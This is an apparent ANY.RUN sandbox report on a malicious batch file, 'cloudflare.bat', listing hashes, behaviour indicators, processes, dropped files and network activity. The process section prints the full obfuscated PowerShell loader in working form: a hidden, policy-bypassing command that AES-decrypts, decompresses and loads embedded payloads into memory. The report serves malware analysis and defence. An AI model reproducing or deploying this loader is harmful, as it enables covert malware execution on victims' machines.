File name:

cloudflare.bat

Full analysis: https://app.any.run/tasks/a60fcdb3-c72a-447c-af7e-7c24ef958158
Verdict: Malicious activity
Analysis date: January 23, 2025, 19:49:05
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (33822), with CRLF line terminators
MD5:

D7EF2415AE2B53C9CC8D960F332B2FC2

SHA1:

5EE9E9075D7EFF88B9B6F6640DD23B04D3D89BF8

SHA256:

D09F2F0F47441DA499F40328373EA30F5B2FBA8F75F8D84E1DF54F0D39C363E8

SSDEEP:

24576:6dbChi2BlJAy2y618+L24nMTz0ZpAsb1EwG5M1XxWMkp2b8DU+owr4SeBlKcvREH:9i2Bl+2TzZw5XMe4DU+zrSl+v

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 5192)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 5192)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 5192)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 5192)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 5192)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 5444)

  • SUSPICIOUS

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 5444)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 5444)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 5192)

    • Executes application which crashes

      • powershell.exe (PID: 5192)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 5444)

    • The process creates files with name similar to system file names

      • WerFault.exe (PID: 3688)

  • INFO

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5192)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 5192)

    • Checks proxy server information

      • WerFault.exe (PID: 3688)

    • Reads the software policy settings

      • WerFault.exe (PID: 3688)

    • Creates files or folders in the user directory

      • WerFault.exe (PID: 3688)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
125
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe werfault.exe

Process information

PID
CMD
Path
Indicators
Parent process
3688C:\WINDOWS\system32\WerFault.exe -u -p 5192 -s 2352C:\Windows\System32\WerFault.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
3988\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5192"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8bhRsRHlVCq0oE/jC8znaXL8N3C2l4vOkUX6p5fMCBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gSWUi9Srt/hMiTUvma/Osg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bvRls=New-Object System.IO.MemoryStream(,$param_var); $PBSCt=New-Object System.IO.MemoryStream; $pTrqw=New-Object System.IO.Compression.GZipStream($bvRls, [IO.Compression.CompressionMode]::Decompress); $pTrqw.CopyTo($PBSCt); $pTrqw.Dispose(); $bvRls.Dispose(); $PBSCt.Dispose(); $PBSCt.ToArray();}function execute_function($param_var,$param2_var){ $fcAKi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $byGGF=$fcAKi.EntryPoint; $byGGF.Invoke($null, $param2_var);}$QgxHT = 'C:\Users\admin\Desktop\cloudflare.bat';$host.UI.RawUI.WindowTitle = $QgxHT;$SwrfE = [type]::GetType('System.IO.File');$OHVxV = [type]::GetType('System.Environment');$bNKIC = $SwrfE::('txeTllAdaeR'[-1..-11] -join '')($QgxHT);$BVkSS = $OHVxV::NewLine;$YddQR = $bNKIC.Split($BVkSS);$uUoiG = $YddQR;foreach ($IZmUa in $uUoiG) { if ($IZmUa.StartsWith(':: ')) { $tpTzT=$IZmUa.Substring(3); break; }}$payloads_var=[string[]]$tpTzT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
3221225477
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5444C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\cloudflare.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
Total events
11 034
Read events
11 034
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3688WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_powershell.exe_65974a41bdc8f52151dd464292294df7a643_fbd08ea6_d48ab772-55ac-436c-be9e-9cc960d78d6e\Report.wer —
MD5:—
SHA256:—
3688WerFault.exeC:\Users\admin\AppData\Local\CrashDumps\powershell.exe.5192.dmp —
MD5:—
SHA256:—
3688WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER9703.tmp.dmpbinary
MD5:D5FA5D2A6B555168DC5BE0D9A93FF666
SHA256:9E6D4DC7AA39BC96959469378ACFCF2CE6B0367719336E68DAF1D9FBD28E3458
5192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pfpr4doh.akr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3688WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER9A31.tmp.WERInternalMetadata.xmlbinary
MD5:BCF65759BFEE954CA0BE72865DA9F0FD
SHA256:AAAC165BC3EBBA300555792577C2B56CE852B116E2615B656FF14033BE7B736A
5192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5dkxwp4x.4hy.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3688WerFault.exeC:\ProgramData\Microsoft\Windows\WER\Temp\WER9A61.tmp.xmlxml
MD5:FDDCB4B5C7CF68A7BCA5CDFFAAA48639
SHA256:605588F4C58C5F9588B765139701AA0BC8787D0759452670F47A4E053BCF9170
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
15
DNS requests
7
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4160
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
716
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3688
WerFault.exe
20.189.173.21:443
watson.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3976
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 40.127.240.158
whitelisted
google.com
  • 142.250.181.238
whitelisted
watson.events.data.microsoft.com
  • 20.189.173.21
whitelisted
self.events.data.microsoft.com
  • 104.208.16.88
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
cloudflare.bat